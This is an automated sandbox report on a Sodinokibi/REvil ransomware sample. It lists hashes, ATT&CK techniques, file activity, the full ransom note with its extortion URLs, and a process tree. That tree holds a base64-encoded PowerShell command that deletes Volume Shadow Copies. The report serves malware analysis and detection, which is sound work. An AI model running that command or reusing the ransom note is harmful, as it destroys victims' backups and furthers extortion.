sodinokibi | 7559e6ca8b77400f88bf4e67208a1c32570a670068eccae9e3d226cc5471bd47

Resubmissions

28-04-2024 18:31

240428-w6cwyaec5v 10

21-04-2024 08:57

21-04-2024 05:45

18-04-2024 19:05

18-04-2024 16:34

04-03-2024 18:33

02-03-2024 17:01

02-03-2024 10:05

Analysis

max time kernel
91s
max time network
99s
platform
windows11-21h2_x64
resource
win11-20240412-en
resource tags

arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system
submitted
21-04-2024 05:45

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General

Target

bazaar.2020.02/HEUR-Trojan-Ransom.Win32.Sodin.dll
Size

164KB
MD5

72945c9b41b3590dc518b14bad0a79ee
SHA1

244e30fcd8982b78eaac65db21b177b632c1fb11
SHA256

44bcefd86b7d36300eb2d77ba88f248cab5ecb9cfb0ec3e859e35ed519fa7795
SHA512

2eca816b31f21afe4daadaed3ed2e891f9632ff5652ae6e6e2ebde7dee0f6b1ec3562af8ef98dd9fb769c8f372a8f527e6a22cb2686ac43bc49fd6f21081f06c
SSDEEP

3072:v0XoUeZ/DVS8L73ea4MoCLfqQvFf/7lrKq:veoUeZR2TRCWQFfDl

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Users\7j09xlb-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 7j09xlb. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/1D7236A65175FE35 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/1D7236A65175FE35 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 8vPECrqDJoUuafUcbiPerG858Kc72EsPZQOb1tWKYNDuMLYn5eeptcqtYOQoQtfJ o1lyT4BoEgcQKojm+F5bS/GyJtEI90TzVAJy2smZswAE4L8avFEMg8UxrVMtVi3P J0h4c9/TJc/i9eyEC2foGuoKxGUthF4idf2xb6El2XgEgZwNL5xrHtItUB1+4j8d vR33JFHfexsLZu+NhUAnrpPh40lesr3tqDl1eFLMhn8u7uNGm9kDvq6MRYyi9w6e 5p7vruz/zgepP2WgncMPpQ2jscnWh2x92Na0nfaOU2XfLlBptUfcwPOW6Rn+5juJ XYpujGV9Rlx/3sLs4k/tEnizpVnT5me/wINYdpoqFhio5t2VR/dDvDZ4xPVer0ux Zp6p/YncXrC7YXX3z1YcP5okUu2ZasVmV6ooWr/Q6n3EFdf66rpXJlQgJQBsTofe PMemweeS5Fm+AsSQY10F/CN/DSQBP7C+h6ErjkuH0xTMQkk32eJjVWAHpZ9obZLU ntRchpZI9vp745WF5nA7mTN9Cn9hvS5mccKAupp4IU+d6xgk7MOxJtzd4Thc4ery HD4uuTH+06B/5t0lWROWPu4XZYxXFedScTrECBWTzpiAJNTy4/2r4CToZWv+8QQZ D+dYavqSplEPPZ3H1DjPRFi/CKupA1GyNRSA0CjYeg+YNqiXYzSgIyhSxeOlygET DQ1tj5CF9UG9YJ8nqOFakoZariM2RSOb/G9dqCTflJdG6HU9UgEcerxLOAx6U8LO 8k2OFxpdYchpyffew+NeH+hw2wvREQA31lq/3QA5Y+2Dgq97WeFs1PS8MVQmEgRA 8Yc9AzvV6qPt4C4pIzdwvSnLYnaw0YBDumTa10ehWD4KBKA/AiGaR6ezRXG08s7d 6Nup1W3yvXOsa+tTUlzYNQf87JoPr1I2rJ7G33cIHvZtuf2TMuWJzlBGB3fHXMSG SUcFTmXskCrWNni80O2t20S0JHMTXyqa+DjA5nk7HAI2Mynl1/MOzz+DoFrEOml0 WqkDmRLuIweK1iB02BIUGdIbxzy4LtEJ+27Tmj004IbWOBxMtnaYwGHyDWLfYNXP ZldTn2taVDcYF+ZM61dOtQXdP9xxWgzLJ+uLRuQG6SB+1jPw+MZkMpFcb+B/jW2M n+QRVTW4QN7QzzWrsem3RO3IkEyWlJKUnwOVqbea+hN9/1ie5KCXXkX2fwDmEzQz HweBPTgTvhWqhfFJZgUHzz3pGAo= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/1D7236A65175FE35

http://decryptor.cc/1D7236A65175FE35

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	Process
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe

Drops file in Program Files directory 25 IoCs

Processes:

rundll32.exe

description	ioc	Process
File created	\??\c:\program files\7j09xlb-readme.txt	rundll32.exe
File created	\??\c:\program files (x86)\7j09xlb-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\GroupMount.dotx	rundll32.exe
File opened for modification	\??\c:\program files\UnblockAdd.sql	rundll32.exe
File opened for modification	\??\c:\program files\UpdateHide.snd	rundll32.exe
File opened for modification	\??\c:\program files\JoinLimit.jpeg	rundll32.exe
File opened for modification	\??\c:\program files\SetLimit.M2V	rundll32.exe
File opened for modification	\??\c:\program files\SwitchUpdate.dwg	rundll32.exe
File opened for modification	\??\c:\program files\ConvertStep.dxf	rundll32.exe
File opened for modification	\??\c:\program files\EnterEdit.vbe	rundll32.exe
File opened for modification	\??\c:\program files\ResetResume.pptx	rundll32.exe
File opened for modification	\??\c:\program files\DismountCopy.mpeg2	rundll32.exe
File opened for modification	\??\c:\program files\ReceiveRegister.ttf	rundll32.exe
File opened for modification	\??\c:\program files\PushGet.m1v	rundll32.exe
File opened for modification	\??\c:\program files\UpdateInstall.ppsx	rundll32.exe
File opened for modification	\??\c:\program files\ConvertReset.avi	rundll32.exe
File opened for modification	\??\c:\program files\LimitResize.edrwx	rundll32.exe
File opened for modification	\??\c:\program files\RestartJoin.3g2	rundll32.exe
File opened for modification	\??\c:\program files\ResetWait.js	rundll32.exe
File opened for modification	\??\c:\program files\ConnectJoin.inf	rundll32.exe
File opened for modification	\??\c:\program files\DisableComplete.ps1xml	rundll32.exe
File opened for modification	\??\c:\program files\JoinMerge.mp4	rundll32.exe
File opened for modification	\??\c:\program files\EnablePush.reg	rundll32.exe
File opened for modification	\??\c:\program files\HideLock.mpeg3	rundll32.exe
File opened for modification	\??\c:\program files\RegisterGrant.dib	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

rundll32.exepowershell.exe

pid	Process
4448	rundll32.exe
4448	rundll32.exe
496	powershell.exe
496	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	Process
Token: SeDebugPrivilege	4448	rundll32.exe
Token: SeDebugPrivilege	496	powershell.exe
Token: SeBackupPrivilege	4304	vssvc.exe
Token: SeRestorePrivilege	4304	vssvc.exe
Token: SeAuditPrivilege	4304	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	Process	procid_target
PID 3380 wrote to memory of 4448	3380	rundll32.exe	80
PID 3380 wrote to memory of 4448	3380	rundll32.exe	80
PID 3380 wrote to memory of 4448	3380	rundll32.exe	80
PID 4448 wrote to memory of 496	4448	rundll32.exe	81
PID 4448 wrote to memory of 496	4448	rundll32.exe	81

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:3380
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
  2⤵
  - Enumerates connected drives
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4448
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:496

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1396

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4304

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\7j09xlb-readme.txt

Filesize
6KB

MD5
738c48cad1d41aa9b41cbf52d8bc38c4

SHA1
e0d69086a6bbb48b285321f026e55ce2e958e16c

SHA256
7d1ba845c622d32e1aeb2fb373d196dc38f2434ebe659de76298d9dfae5db5ba

SHA512
8b424cb2f6e7ae9e4b18eb1cff13558130922200360216992882ff62e198b00cdd44be76d8e07f4c61a0ea5cc68ded2dc4c242a1f26eb075f8a1522411b7597d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qaldg5ha.oed.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/496-5-0x00000235ADA00000-0x00000235ADA22000-memory.dmp

Filesize
136KB

Download
memory/496-9-0x00007FFB1BA30000-0x00007FFB1C4F2000-memory.dmp

Filesize
10.8MB

Download
memory/496-10-0x00000235ADA30000-0x00000235ADA40000-memory.dmp

Filesize
64KB

Download
memory/496-11-0x00000235ADA30000-0x00000235ADA40000-memory.dmp

Filesize
64KB

Download
memory/496-12-0x00000235ADA30000-0x00000235ADA40000-memory.dmp

Filesize
64KB

Download
memory/496-15-0x00007FFB1BA30000-0x00007FFB1C4F2000-memory.dmp

Filesize
10.8MB

Download